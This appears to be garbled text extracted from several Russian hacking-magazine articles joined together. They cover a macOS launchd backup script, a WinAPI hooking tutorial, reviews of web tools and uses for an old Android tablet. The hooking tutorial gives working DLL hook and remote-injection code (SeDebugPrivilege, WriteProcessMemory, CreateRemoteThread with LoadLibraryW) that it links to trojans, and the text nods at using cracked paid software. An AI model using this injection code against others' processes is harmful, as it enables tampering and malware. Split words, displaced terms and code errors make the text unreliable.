WatchPaths
QueueDirectories

БЭКАПИМ И ШИФРУЕМ ДАННЫЕ ПРИ ПОДКЛЮЧЕНИИ ФЛЕШКИ
В качес тве треть ей задачи я пла ниро вал сде лать скрипт, который будет авто‐ 
мати чес ки  запус кать ся,  ког да  ты  под клю чаешь  флеш ку  или  жес ткий  диск
с  опре делен ным  наз вани ем,  затем  мон тировать  зашиф рован ную фай ловую
сис тему (пред варитель но спро сив пароль) и ски дывать в нее опре делен ные
фай лы.  Дру гими  сло вами,  импро визи рован ное,  но  надеж ное  хра нили ще
для важ ных дан ных.

Я  не  подоз ревал,  что  задача  ока жет ся  нас толь ко  три виаль ной,  что  раз‐ 
бирать будет поч ти что нечего. Шиф рован ные кон тей неры в macOS соз дают‐ 
ся штат ными средс тва ми. Запус кай DiskUtility, жми File → New Image → Blank
Image, запол няй наз вание фай ла, наз вание тома и выбирай тип шиф рования
(AES 128 или 256 бит). Кон тей нер готов! При его мон тирова нии macOS будет
спра шивать пароль.

Ос талось написать скрип тик, который будет под клю чать кон тей нер одновре‐ 
мен но с появ лени ем флеш ки или жес тко го дис ка и авто мати чес ки копиро вать
дан ные. Python на этот раз точ но не понадо бит ся — хва тит Bash. У меня выш‐ 
ло вот так.

backup.sh
if [ ‐d /Volumes/BACKUP/ ]
then
   hdiutil attach /Volumes/BACKUP/Stuff.dmg
   cp ‐fr /Users/and/Desktop/TopSecret /Volumes/Stuff/
   osascript ‐e 'Display notification with title "Backup complete"'
fi

Пу ти, конеч но, нуж но будет поп равить на свои. Обра ти вни мание на усло вие
в самом начале: оно нуж но, потому что launchd сам не будет про верять, какой
имен но носитель под клю чен, — он запус кает скрипт при под клю чении любого
тома. Соот ветс твен но, про верять, сущес тву ет ли нуж ный путь, при ходит ся уже
в скрип те.

А вот как будет выг лядеть кон фиг launchd.

com.and.backup.StartOnMount.plist
<?xml version="1.0" encoding="UTF‐8"?>
<!DOCTYPE plist PUBLIC "‐//Apple//DTD PLIST 1.0//EN" "http://www.
apple.com/DTDs/PropertyList‐1.0.dtd">
<plist version="1.0">
<dict>
   <key>Label</key>
   <string>com.and.backup</string>
   <key>ProgramArguments</key>
   <array>
       <string>/Users/and/Develop/backup.sh</string>
   </array>
   <key>StartOnMount</key>
   <true/>
</dict>
</plist>

Мо жешь  добавить  уда ление  дан ных  с  дис ка  или,  наобо рот,  исполь зовать
rsync, что бы под держи вать содер жимое пап ки и кон тей нера оди нако вым.

ДРУГИЕ ВОЗМОЖНОСТИ
У launchd есть и дру гие инте рес ные фун кции и нас трой ки. По боль шей час ти
они  нуж ны  для  внут рисис темных  нужд,  но  кто  зна ет,  на  какие  тех ничес кие
извра ты нас потянет зав тра? :‐)

  поз воля ет  задать  перемен ные  окру жения  спе‐ 
циаль но для тво его скрип та. Выг лядит это так:

EnvironmentVariables

<key>EnvironmentVariables</key>
<dict>
   <key>PATH</key>
   <string>/bin:/usr/bin:/usr/local/bin</string>
</dict>

При желании мож но сде лать пол ноцен ный chroot, задав ключ  ,
или  зас тавить  задачу  выпол нять ся  от  име ни  опре делен ного  поль зовате ля
или груп пы (  и  ).

RootDirectory

UserName GroupName
Ключ   ука жет launchd на то, что скрипт дол жен работать все вре‐ 

мя. Если он, нап ример, упа дет, сис тема будет пытать ся под нять его сно ва.
KeepAlive

<key>KeepAlive</key>
<true/>

До бавив  к    клю чи    и  ,  мож но  задать
переза пуск толь ко в том слу чае, если задача завер шилась успешно или толь‐ 
ко если упа ла с ошиб кой (то есть вер нула ненуле вой код).

KeepAlive SuccessfulExit Crashed

<key>KeepAlive</key>
<dict>
   <key>Crashed</key>
   <true/>
</dict>

Точ но  так  же  мож но  под держи вать  работу  задачи,  толь ко  если  дос тупна
хотя бы одна сеть (или не дос тупна ни одна) — за это отве чает ключ 

 — или ког да сущес тву ет или не сущес тву ет опре делен ный путь (
). Мож но  даже  при цепить ся  к  сос тоянию  дру гой  задачи  (
).

Network‐
State Path‐
State OtherJobEn‐
abled

Ну  и  что бы  бедовый  скрипт  не  сож рал  все  ресур сы  машины  в  самый
непод ходящий момент, мож но задать раз ные огра ниче ния:

  —  количес тво  про цес сорно го  вре мени  в  секун дах,  которые  раз‐ 
решено пот ратить;

• CPU

  —  мак сималь ный  раз мер  фай ла,  который  раз решено  соз‐ 
давать;

• FileSize

 — мак сималь ное чис ло одновре мен но откры тых фай лов;• NumberOfFiles

 — мак сималь ное количес тво дан ных (в бай тах), которые раз решено
обра баты вать.

• Data

Ну  и  для  сов сем  слож ных  слу чаев  есть  двух сту пен чатая  сис тема  из мяг кого
огра ниче ния  ( )  и  жес тко го  огра ниче ния  (

).  При  пре выше нии  пер вого  сис тема  выш лет  про цес су  сиг нал  вро де
  или  ,  а  при нуди тель но  завер шит  его,  толь ко  если  тот

не успо коит ся и перей дет жес ткий лимит.

SoftResourceLimit HardResource‐
Limit
SIGXCPU SIGXFSZ

ИТОГИ
Как ты мог заметить, у launchd есть и недос татки. Тот же crontab — это прос‐ 
тая  таб лица,  в  которой наг лядно вид но,  что и  ког да запус кает ся. С  launchctl
в  этом  пла не  все  неп росто:  кон фиги  раз бро саны  по  раз ным  пап кам,  могут
быть вклю чены или вык лючены, да и внут ри них все понят но далеко не с пер‐ 
вого взгля да.

Ес ли ничего, кро ме запус ка по вре мени, тебе в ито ге не нуж но, то launchd
не  сто ит  мороки  —  ты  можешь  спо кой но  исполь зовать  cron  (занят но,  что
даже он в macOS работа ет поверх launchd). Что до воз можнос ти при вязы вать
скрип ты к пап кам, то она дос тупна в Automator — опять же соот ветс тву ющие
кон фиги прос то соз дадут ся авто мати чес ки.

Од нако  если  ты  пред почита ешь  осво ить  один  мощ ный  и  уни вер саль ный
инс тру мент, то выбор опре делен но за launchd. Даже если скрип тование все‐ 
го и вся тебе в ито ге не при годит ся, изу чить прин ципы работы сис темы будет
небес полез но.

WWW

•Офи циаль ная докумен тация
•Сайт раз работ чиков LaunchControl с под робной
докумен таци ей и при мера ми

•Пост,  в  котором  под робно  раз бира ется  новый
син таксис launchctl

https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
http://www.launchd.info/
https://babodee.wordpress.com/2016/04/09/launchctl-2-0-syntax/
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Тех нология  перех вата  вызовов  фун кций
WinAPI  извес тна  уже  дав но,  она  час то
исполь зует ся  как  в  тро янах  и  вирусах,  так
и в сниф ферах, трей нерах для игр, а так же
в  любых  ситу ациях,  ког да  нуж но  зас тавить
чужое при ложе ние выпол нять код, которо го
там никог да не было. Я рас ска жу, как поль‐ 
зовать ся этой могучей тех никой, а затем мы
напишем  биб лиоте ку  перех вата  методом
сплай син га.

КАКИЕ БЫВАЮТ ХУКИ
Ло вуш ки  (hook) могут быть режима поль зовате ля  (usermode) и режима ядра
(kernelmode). Уста нов ка хуков режима поль зовате ля сво дит ся к методу сплай‐ 
син га  и  методу  прав ки  таб лиц  IAT.  Огра ниче ния  этих  методов  оче вид ны:
перех ватить мож но толь ко userspace API, а вот до фун кций с пре фик сом Zw*,
Ki* и про чих «ядер ных» из режима поль зовате ля дотянуть ся нель зя.

Ус танов ка  хуков  режима  ядра  поз воля ет  менять  любую  информа цию,
которой опе риру ет Windows на самом низ ком уров не. Для перех ватов подоб‐ 
ного типа необ ходимо модифи циро вать таб лицы SSDT/IDT либо менять само
тело  фун кции  (kernel  patch).  Надо  ска зать,  что  в  Windows  на  архи тек туре
x64 ядро кон тро лиру ет свою целос тность при помощи механиз ма KPP (Kernel
Patch Protection), который явля ется частью PatchGuard и прос то так подоб ные
манипу ляции с сис темны ми таб лицами сде лать не поз волит.

ПОЧЕМУ ХУКИ РАБОТАЮТ?
Ког да Windows запус кает при ложе ние, соз дает ся его про цесс и потоки, заг‐ 
рузчик  ОС  ищет  зависи мос ти  динами чес ких  биб лиотек,  которые  нуж ны
для  работы  прог раммы.  Поиск  ведет ся  сна чала  в  пап ке,  где  находит ся
исполня емый  файл,  далее  в  нес коль ких  сис темных  пап ках.  Пос ле  того
как  нуж ные  биб лиоте ки  най дены,  опре деля ются  необ ходимые  для  работы
фун кции, сос тавля ется таб лица зависи мос тей фун кций и биб лиотек, где они
находят ся. Прог рамма пом нит все эти дан ные и поль зует ся ими при вызове
фун кций.  Наша  задача  —  заг рузить  в  адресное  прос транс тво  при ложе ния
нашу  биб лиоте ку  и  испра вить  таб лицу  зависи мос тей  в  прог рамме  таким
обра зом,  что бы  она  думала,  буд то  фун кции,  которые  ей  нуж ны,  находят ся
имен но в нашей биб лиоте ке, а не в той, где они были рань ше.

СПЛАЙСИНГ ФУНКЦИЙ WINAPI
Про лог фун кций, трам плин и дизас сем блер длин инс трук ций
Фун кции WinAPI  начина ются с про лога — это стан дар тный  код, отве чающий
за  балан сиров ку  сте ка  для  кор рек тно го  дос тупа  к  локаль ным  перемен ным,
которые исполь зует фун кция. Обыч но про лог выг лядит таким обра зом:

mov edi,edi 
push ebp 
mov ebp,esp

В боль шинс тве фун кций он оди наков, и поэто му на его мес то мож но добавить
инс трук цию  безус ловно го  перехо да  jmp,  которая  передаст  управле ние
на  наш  код. Это  называ ется  «трам плин» — мы прос то  уво дим поток  выпол‐ 
нения  фун кции  в  наш  код,  где  дела ем  все,  что  хотим:  можем  под менить
резуль тат  выпол нения фун кции,  можем  выз вать  какой‐то  дру гой  код,  запус‐ 
тить про цесс — одним сло вом, мас су все го. Но что бы гра мот но реали зовать
перех ватчик  фун кций  методом  сплай син га,  нам  нужен  дизас сем блер  длин
инс трук ций.

INFO

Ди зас сем блер  длин  поз воля ет  вычис лять  дли ны
команд про цес сора. Час то исполь зует ся для ана‐ 
лиза про логов фун кций.

За чем  нам  исполь зовать  дизас сем блер  длин,  если  мы  и  так  зна ем  про лог
фун кций? Дело в том, что про логи фун кций отли чают ся. Не хотелось бы пос‐ 
тоян но  заг лядывать  в  дизас сем блер  и  про верять,  под ходит  ли  про лог  оче‐ 
ред ной перех ватыва емой фун кции под наш сплай сер. В нем ведь чет ко про‐ 
писа но, какое количес тво бай тов мы будем исполь зовать.

В том слу чае, если мы «нас тро им» нашу фун кцию сплай син га на стан дар‐ 
тный  про лог,  а  он  ока жет ся  дру гим,  то  пос ле  реали зации  перех вата  выпол‐ 
нение  может  пой ти  не  с  начала  машин ной  коман ды,  а  с  какой‐то  ее  час ти.
Одним  сло вом,  мы  пов редим  код  прог раммы,  она  вызовет  исклю чение
и будет ава рий но завер шена опе раци онной сис темой. Если же исполь зовать
дизас сем блер  длин  инс трук ций,  то  сплай сер  всег да  точ но  будет  знать,  где
начина ется сле дующая инс трук ция, и кор рек тно встра ивать трам плин.

Биб лиоте ки для перех вата
Как  ты  уже  понял,  для  написа ния  качес твен ного  уни вер саль ного  сплай сера
фун кций нуж но зат ратить мно го сил и вре мени, и даже круп ные фир мы пред‐ 
почита ют  для  сво их  про ектов  покупать  готовые  биб лиоте ки,  реали зующие
перех ваты фун кций.

Мы  рас смот рим  два  популяр ных  ком мерчес ких  решения:  Detours  про‐ 
изводс тва  непос редс твен но  Microsoft  и  биб лиоте ку  madCodeHook.  Почему
имен но эти две биб лиоте ки? На них мож но реали зовать перех ват с миниму‐ 
мом кода, что как нель зя луч ше под ходит для обу чения. Пол ные вер сии обе их
биб лиотек плат ные, но для обу чения мож но либо исполь зовать огра ничен ные
бес плат ные вер сии, либо покупать пол ные, либо... ну, ты зна ешь. :‐)

С готовой биб лиоте кой мы будем уве рены, что
в  ней  встро ен  качес твен ный  дизас сем блер  длин,  который  не  испу гает ся
раз нооб разных фун кций WinAPI;

•

встро ен спе циаль ный кор ректор кода, спо соб ный работать вмес те с фун‐ 
кци ей, реали зующей трам пли ны;

•

при сбор ке про екта будут исполь зованы бло ки условной ком пиляции кода
и  нам  не  при дет ся  менять  син таксис  перех ватов  при  сме не  архи тек тур
x86 и x64.

•

Од ним  сло вом,  мы  будем  уве рены,  что  в  нашей  DLL  ока жут ся  все  необ‐ 
ходимые фун кции.

Тес товое при ложе ние
Для  начала  экспе римен тов  с  перех ватами  напишем  тес товое  при ложе ние,
назовем его test1.exe. Оно ничего не дела ет. Точ нее, прос то ждет 60 секунд,
исполь зуя фун кцию WinAPI  , а потом зак рыва ется. Я выб рал эту фун‐ 
кцию  спе циаль но,  что бы  было  понят но,  что  изна чаль но  наше  при ложе ние
нес пособ но, нап ример, соз давать фай лы.

Sleep()

#include <Windows.h>
#include <iostream>
void slp();
int main()
{
int x;
std:cout << "Enter 1: \n";
std::cin >> x;
if (x == 1) slp();
return 0;
}
void slp()
{
Sleep(60000);
}

Здесь все понят но: при запус ке при ложе ние ожи дает вво да циф ры 1, потом
запус кает фун кцию  . Нам это необ ходимо, что бы прог рамма не зак‐ 
рылась  слиш ком  быс тро  и  повисе ла  нем ного  в  памяти,  ожи дая  вво да.  Ну
и заод но наших инъ екций биб лиоте ки перех вата в ее адресное прос транс тво.
:‐)

Sleep()

Те перь перехо дим к реали зации самой динами чес кой биб лиоте ки. Наша
биб лиоте ка (назовем ее  ) перех ватыва ет вызов   и заменя‐ 
ет его вызовом  ,  который соз дает в кор не дис ка C: пус той файл
по име ни  . Сна чала код с исполь зовани ем биб лиоте ки Detours.

HookA.dll Sleep()
CreateFile

virus.exe

#include "stdafx.h"
#include <windows.h>
#include <iostream>
#include "detours.h"
VOID(WINAPI * TrueSleep)(DWORD dwMilliseconds) = Sleep;
__declspec(dllexport) VOID WINAPI MySleep(DWORD dwMilliseconds)
{
HANDLE hFile = CreateFile(L"c:\\virus.exe", GENERIC_WRITE, 0, NULL, 
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(hFile);
}
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)
{
   if (dwReason == DLL_PROCESS_ATTACH)
   {
       DetourRestoreAfterWith();
       DetourTransactionBegin();
       DetourUpdateThread(GetCurrentThread());
       DetourAttach(&(PVOID&)TrueSleep, MySleep);
       DetourTransactionCommit();
   }
   return TRUE;
}

При исполь зовании Detours перех ват реали зует ся стро кой 
,  которая  вызыва ет  внут реннюю фун кцию 

 с парамет рами про тоти па нас тоящей фун кции   по име ни
,  и  ее  под делкой,  которую  написа ли  мы  ( ).  Важ но

понимать, что наша фун кция дол жна соот ветс тво вать ори гина лу по парамет‐ 
рам и кон венци ям вызова.

DetourAttach(&(
PVOID&)TrueSleep, MySleep) De‐
tourAttach Sleep()
TrueSleep MySleep

Те перь  все  то  же  самое,  толь ко  с  исполь зовани ем  биб лиоте ки
madCodeHook.

#include "stdafx.h"
#include <windows.h>
#include <iostream>
#include "madCHook.h"
VOID(WINAPI * TrueSleep)(DWORD dwMilliseconds) = Sleep;
__declspec(dllexport) VOID WINAPI MySleep(DWORD dwMilliseconds)
{
   HANDLE hFile = CreateFile(L"c:\\virus.exe", GENERIC_WRITE, 0, 
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
   CloseHandle(hFile);
}
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)
{
   if (dwReason == DLL_PROCESS_ATTACH)
   {
       HookAPI("User32.dll", "Sleep", MySleep, (PVOID*) &TrueSleep);
   }
   return TRUE;
}

Код реали зации прак тичес ки не изме нил ся, за исклю чени ем стро ки 
  и  под клю‐ 

чения заголо воч ного фай ла  . В этой строч ке кода мы видим, что
фун кция   из сис темной биб лиоте ки   будет замене на нашей
реали заци ей.

HookAPI(
"User32.dll",  "Sleep",  MySleep,  (PVOID*)  &TrueSleep);

madCHook.h
Sleep User32.dll

INFO

Пе ред  тем  как  что‐то  перех ватывать,  нуж но
понимать,  чего  мы  хотим  этим  добить ся.  Мы
хотим  менять  пути  сох ранения  рабочих  дан ных
прог раммы?  Путать  фун кции?  Саботи ровать
вычис ления?  В  любом  слу чае  для  иссле дова ния
при ложе ния  нам  понадо бит ся  API  Monitor,  прог‐ 
рамма,  которая  показы вает,  какие  фун кции
WinAPI исполь зует при ложе ние.

Итак,  подопыт ное  при ложе ние  готово,  наша  «вирус ная»  биб лиоте ка  тоже,
теперь  оста лось  разоб рать ся,  как  мож но  зас тавить  DLL  при цепить ся
к нашему при ложе нию. Для это го есть нес коль ко спо собов, мы рас смот рим
два из них.

Пер вый  спо соб  зак люча ется  в  исполь зовании  при ложе ния  ,
которое идет вмес те с биб лиоте кой Detours. Если положить это при ложе ние
в одну пап ку с нашими фай лами   и  , при соеди нить биб‐ 
лиоте ку‐перех ватчик  мож но  коман дой 

.  Далее  при ложе ние    запус тит  наш  файл    с  уже
при соеди нен ной биб лиоте кой.

withdll.exe

test1.exe HookA.dll
withdll.exe  ‐d:HookA.dll  test1.

exe withdll.exe test1.exe

Это неудоб но и не  всег да под ходит нам. Что,  если нуж но инжекти ровать
биб лиоте ку‐перех ватчик  в  уже  работа ющий  про цесс?  Вто рой  спо соб  зак‐ 
люча ется  в  написа нии  при ложе ния‐инжекто ра,  которое  при соеди нит  нашу
биб лиоте ку‐перех ватчик к работа юще му про цес су.

Ин жектор
Для  пра виль ной  работы  инжекто ра  нам  нуж но  получить  при виле гию 

.  Напишем  уни вер саль ную  фун кцию,  которая  получит  нуж ную  нам
при виле гию. Ее‐то мы и переда дим в качес тве аргу мен та.

SE_DE‐
BUG_NAME

BOOL setPrivileges(LPCTSTR szPrivName)
{
   TOKEN_PRIVILEGES tp = { 0 };
   HANDLE hToken = 0;
   tp.PrivilegeCount = 1;
   tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
   if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PR
IVILEGES, &hToken))
       std::cout << "OpenProcessToken failed\n";
   if (!LookupPrivilegeValue(NULL, szPrivName, &tp.Privileges[0].
Luid))
       std::cout << "LookupPrivilegeValue failed\n";
   if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, 
NULL))
   {
       std::cout << "AdjustTokenPrivileges failed\n";
       CloseHandle(hToken);
       return TRUE;
   }
   return FALSE;

Вы зов фун кции для получе ния   будет таким:SE_DEBUG_NAME

setPrivileges(SE_DEBUG_NAME);

Те перь  для  работы  инжекто ра  нуж но  написать  фун кцию,  которая  будет
получать PID про цес са для инжекта по его име ни.

DWORD getPIDproc(wchar_t * procname)
{
   DWORD pid;
   HANDLE pHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
   PROCESSENTRY32 ProcEntry;
   ProcessEntry.dwSize = sizeof(ProcEntry);
   do
   {
       if (!_wcsicmp(ProcEntry.szExeFile, procname))
       {
           DWORD pid = ProcEntry.th32ProcessID;
           CloseHandle(pHandle);
           return pid;
       }
   } while (Process32Next(pHandle, &ProcEntry));
   CloseHandle(pHandle);
   return 0;
}

Все готово для написа ния основно го кода инжекто ра. Прис тупим!

BOOL inject()
{
   HANDLE victProc = OpenProcess(PROCESS_CREATE_THREAD
       | PROCESS_QUERY_INFORMATION
       | PROCESS_VM_OPERATION
       | PROCESS_VM_WRITE
       | PROCESS_VM_READ,
       false,
       getPIDproc(proc));
   if (victProc) {
       LPVOID pPathBuffer = (PWSTR)VirtualAllocEx(victProc, NULL, 
dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
       if (pPathBuffer == NULL) std::cout << "VirtualAllocEx err\n";
       WriteProcessMemory(victProc, pPathBuffer, (PVOID)path, dwSize
, NULL);
       if (pPathBuffer == NULL) std::cout << "WriteProcessMemory err
\n";
       HANDLE hRemoteThread = CreateRemoteThread(victProc, NULL, 0,
           (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(
"kernel32.dll"), "LoadLibraryW"),
           pPathBuffer, 0, NULL);
       if (hRemoteThread == NULL) std::cout << "CreateRemoteThread 
err\n";
       else {
       CloseHandle(hRemoteThread);
       return TRUE;
           }
   return FALSE;
}

И вызыва ющий все эти фун кции код:

int main()
{
   setPrivileges(SE_DEBUG_NAME);
   std::cout << "test1.exe: " << getPIDproc(proc) << "\n";
   inject();
}

Пос ле  выпол нения  этой  прог раммы  в  Process  Explorer  мы  смо жем  уви деть,
что  к  про цес су  под  име нем    при соеди нилась  биб лиоте ка 

, а при вво де сим вола 1 в наше при ложе ние в кор не дис ка C: появ ляет ся
пус той файл  .

test1.exe HookA.
dll

virus.exe

Ре зуль тат работы инжекто ра

ИТОГО
Мы  поз накоми лись  с  механиз мом  перех вата  WinAPI‐фун кций,  попыта лись
вник нуть в тех ничес кую сто рону про цес са перех вата и реали зова ли учеб ный
перех ват фун кции   в тес товом при ложе нии. Теперь у тебя дос таточ но
зна ний и опы та, что бы про дол жить изу чение темы перех ватов самос тоятель‐ 
но.

Sleep()
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NGINXCONFIG.IO — САЙТ, КОТОРЫЙ ПОМОЖЕТ
НАСТРОИТЬ ВЕБ-СЕРВЕР NGINX1
Nginx — это прек расный быс трый веб‐сер вер, на котором работа ет
что‐то око ло полови ны интерне та. Увы, дос тоинс тво, которым nginx
не  обла дает,  —  это  прос тота  нас трой ки.  К  тому  же  уста нов ка
веб‐сер вера —  это  обыч но  вещь,  которую  дела ешь  один  раз  и  не
пов торя ешь годами. Как в таких усло виях запом нить все хит рос пле‐ 
тения кон фигов?

Сайт    ста нет  для  тебя  неболь шим  (или  боль шим  —
как повезет) под спорь ем в этом неп ростом деле. По сути, это что‐то
вро де  гра фичес кой  надс трой ки  для  кон фигури рова ния:  в  левом
стол бце  ты  выс тавля ешь  галоч ки  и  запол няешь  поля,  а  рядом
по ходу дела меня ется текст кон фига.

nginxconfig.io

Для каж дого из пун ктов меню есть полез ные всплы вающие под‐ 
сказ ки. А еще сер вис услужли во добав ляет к основно му кон фигу все
сопутс тву ющие вещи. Нап ример, если добавить опцию HTTPS, то он
выдаст коман ды для соз дания клю чей.

Од нако  пол ностью  обой тись  удоб ными  галоч ками  и  не  лезть
в код кон фига вряд ли получит ся. Что, если  тебе нужен под домен?
Что, если твое при ложе ние написа но не на PHP? В общем, nginxcon‐
fig.io  пре дос тавля ет  отличный  шаб лон,  но  под кру тить  и  под пилить
его при дет ся самому.

NEXT — МИНИМАЛИСТИЧНЫЙ БРАУЗЕР В СТИЛЕ EMACS

2 Со бери дос таточ но боль шую коман ду гиков, и сре ди них обя затель‐ 
но най дут ся цените ли ста рин ных тек сто вых редак торов. Они навер‐ 
няка есть и сре ди наших читате лей — уж не говоря про саму редак‐ 
цию.  Поэто му  прой ти  мимо  новей ших  попыток  исполь зовать  про‐ 
верен ные вре менем идеи Vim и Emacs мы не можем никак.

  —  это  попыт ка  сде лать  бра узер  таким,  каким  его  при мут
и полюбят пок лонни ки Emacs. А это  зна чит,  что без пред варитель‐ 
ной под готов ки пос ле его  запус ка  ты не смо жешь сде лать  вооб ще
ничего: это прос то пус тое белое окно.

nEXT

От кры вай   и начинай читать спи сок шот катов. И вот ты уже
зна ешь,  что Ctrl‐l —  это  вызов  адресной  стро ки,  Ctrl‐b —  «назад»,
а Ctrl‐g выводит рядом с каж дой ссыл кой на стра нице двух буквен ное
сочета ние. Вво дишь его и перехо дишь в мес то наз начения.

ма нуал

Дру гая уни каль ная чер та nEXT (помимо необ ходимос ти зуб рить шот‐ 
каты) — это дре вовид ная исто рия.  Кро ме обыч ного перехо да  впе‐ 
ред,  есть  переход  с  выбором  вет ви.  Он  может  вер нуть  не  толь ко
на  стра ницу,  с  которой  ты  толь ко  что  вер нулся  назад,  но  и  в  пре‐ 
дыду щие разы.

В общем, ты уже понял, что nEXT будет отлично смот реть ся в тай‐ 
ловом менед жере непода леку от Emacs. В осталь ных слу чаях сме ло
откла дывай зна комс тво с ним до момен та,  ког да  у  тво его ноут бука
сло мает ся тач пад.

JS PAINT — ИДЕАЛЬНЫЙ КЛОН PAINT, КОТОРЫЙ
РАБОТАЕТ В БРАУЗЕРЕ3
Ес ли  по  какому‐то  из  стан дар тных  при ложе ний  Windows  и  мож но
нос таль гировать, то это Paint. При чем нос таль гиру ют о нем не толь‐ 
ко  те,  кто дав но перешел на «мак» и Linux, но и поль зовате ли пос‐ 
ледних вер сий самой Windows.

От  Windows  95  до  XP  ста рина  Paint  дошел  прак тичес ки  без  изме‐ 
нений, да и со вре мен Windows 3.1 пре обра зил ся не силь но. А вот
с Windows  Vista  начались метамор фозы:  то  при дела ют  панель Rib‐
bon,  то  пред лага ют  рисовать  ,  то  вооб ще
прев ратят  в  при чуд ливый  3D‐редак тор.  Какие,  к  чер ту,  крас ки?
Какой  3D?!  Где  нам  теперь  делать  пер вые  шаги  в  пик сель‐арте
и малевать корявые мемасы?

ре алис тичны ми  крас ками

 — это порази тель но удач ная попыт ка вос создать в бра‐ 
узе ре  милую  сер дцу  прос тоту  того  самого  Paint  из  Windows  98.
Здесь  всё  на  сво их мес тах,  всё  так,  как  и  дол жно  быть.  Есть  даже
справ ка!

JS Paint

А если поис кать, то обна ружат ся и новые при ятные воз можнос ти —
нап ример, бес конеч ная отме на, воз можность заг ружать GIF и SVG,
сох ранять PNG с проз рачностью (ставь гал ку Transparent в свой ствах
докумен та) и даже записы вать ани мацию по ходу рисова ния (прос то
наж ми Ctrl‐Shift‐G и выг ружай файл).

Пол ное руководс тво и исходни ки ты най дешь на  .
Там  же  есть  спи сок  того,  что  автор  собира ется  реали зовать
в  будущем  (как  нас чет  воз можнос ти  редак тировать  фай лы  ико нок
с  кар тинка ми раз ного  раз мера?),  и  занят ные фак ты  о  самом Paint.

стра нице GitHub

mailto:apismenny@gmail.com
https://nginxconfig.io/
https://next-browser.github.io/
https://next-browser.github.io/
https://en.wikipedia.org/wiki/Microsoft_Fresh_Paint
http://jspaint.ml/
https://github.com/1j01/jspaint
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X‐MOBILE

Но вые  устрой ства  на  Android  появ ляют ся
с  завид ной  регуляр ностью.  Ста рые  тор‐ 
мозят  и  уже  не  справ ляют ся  с  сов ремен‐ 
ными  игра ми  и  ресур соем кими  при ложе‐ 
ниями. Отда вать  или  выкиды вать  их жал ко,
а  покупать  их  ник то  не  хочет.  Пора  стрях‐ 
нуть  пыль  со  ста рых  план шетов.  На  при‐ 
мере  Nexus  7  в  этой  статье  я  покажу,
как  мож но  не  сов сем  стан дар тно  исполь‐ 
зовать  ста рый  план шет  в  раз личных  сце‐ 
нари ях.  Не  будем  оста нав ливать ся  на  ба‐ 
наль ных  читал ках  и  кни гах  рецеп тов
для повара. Перей дем на уро вень выше.

ДОПОЛНИТЕЛЬНЫЙ МОНИТОР
Вряд ли неболь шой план шет будет очень удо бен в качес тве допол нитель ного
монито ра,  но  его  мож но  исполь зовать  для  вывода  важ ной  информа ции.
В мар кете есть при ложе ние  , поз воля ющее решить эту задачу. Сто ит
оно аж 17,99 дол лара, но ты всег да смо жешь най ти ломаную вер сию на всем
извес тном сай те (конеч но же, толь ко для того, что бы озна комить ся со все ми
фун кци ями и решить, нуж на про га или нет).

iDisplay

iDisplay работа ет в коопе рации с сер верной частью для ком па: 
. Пос ле уста нов ки обо их при ложе ний кон нектим устрой ства к одной Wi‐Fi‐

сети (в будущем раз работ чики обе щают под дер жку под клю чения через USB),
и мож но прис тупать.

getidisplay.‐
com

План шет мож но нас тро ить как в качес тве вто рого дис плея, так и в качес тве
зер кала основно го, при этом в углу отоб ража ется оставший ся заряд батареи.
Есть  пол ная  под дер жка  тачс кри на  (нажатие  для  кли ка,  удер жание  для  ими‐ 
тации  кли ка пра вой  кноп ки).  Так же работа ет pinch‐to‐zoom, при этом в пра‐ 
вом  вер хнем  углу  появ ляет ся  сво еоб разная  мини‐кар та,  по  которой  мож но
понять  текущее  положе ние  приб лижен ного  учас тка  и  перед винуть  его.
Из меню мож но выз вать кла виату ру или запус тить при ложе ние. Нас тра ивает‐ 
ся  раз решение  экра на  и  воз можность  отоб ражения  сис темных  зву ков  Win‐
dows (сто ит отме тить, что изна чаль но при ложе ние раз рабаты валось для связ‐ 
ки с Mac и, соот ветс твен но, име ет кли енты для iOS). В общем, для прос мотра
серь езно го  кон тента  решение  вряд  ли  сго дит ся,  но,  что бы  вывес ти  допол‐ 
нитель ную инфу/меню/окно при занятом основном экра не, впол не подой дет.

Нас трой ки и работа iDisplay

ИНФОРМАЦИОННАЯ ПАНЕЛЬ ДЛЯ МАШИНЫ
Все,  что  для  это го  необ ходимо,  —  выб рать  наибо лее  удоб ный  дер жатель
для план шета в авто мобиль (лич но я пред почитаю кре пеж в слот CD, все рав‐ 
но  им  ник то  не  поль зует ся)  и  пос тавить  на  план шет  прог рамму  по  вку су.
Опять‐таки выбор доволь но боль шой.

Сто ит  поп робовать  Android  Auto,  тот  самый,  что  пре дус танав лива ют
на раз личные авто моби ли. Он пред назна чен  толь ко для  телефо нов,  но све‐ 
жий  уста новоч ный  файл  всег да  мож но  най ти  на  .  На  глав ном
экра не появ ляют ся важ ные уве дом ления, под сказ ки навига тора, управле ние
музыкой.  А  вни зу  всег да  будут  дос тупны  ярлы ки  для  запус ка  Google  Maps,
телефо на и Google Play Music.

apkmirror.com

Глав ный экран и навига ция в Android Auto

Так же в мар кете мож но най ти   и  .  Пер вая  показы вает
мес та поб лизос ти, прог ноз погоды и огра ниче ния ско рос ти, име ет управле‐ 
ние голосом, а так же интегра цию с Torque, что поз волит прос матри вать дан‐ 
ные  с  дат чиков  авто  с  помощью  допол нитель ного  девай са,  работа юще го
через OBDII.

AutoMate Car dashdroid

Вто рая име ет под дер жку ауди опле еров (Spotify, Play Music, Pandora, Pow‐
eramp и дру гих), голосо вое управле ние и нас тра иваемый глав ный экран.

Эк раны AutoMate и Car dashdroid

Но,  на  мой  взгляд,  наибо лее  гар монич но  впи сыва ется  в  интерь ер  план шет
с запущен ным  . Нас тра иваемые кноп ки для радио, музыкаль‐ 
ного  пле ера,  навига ции,  бра узе ра.  Показы вает  ско рость  и  вре мя  сто янки.
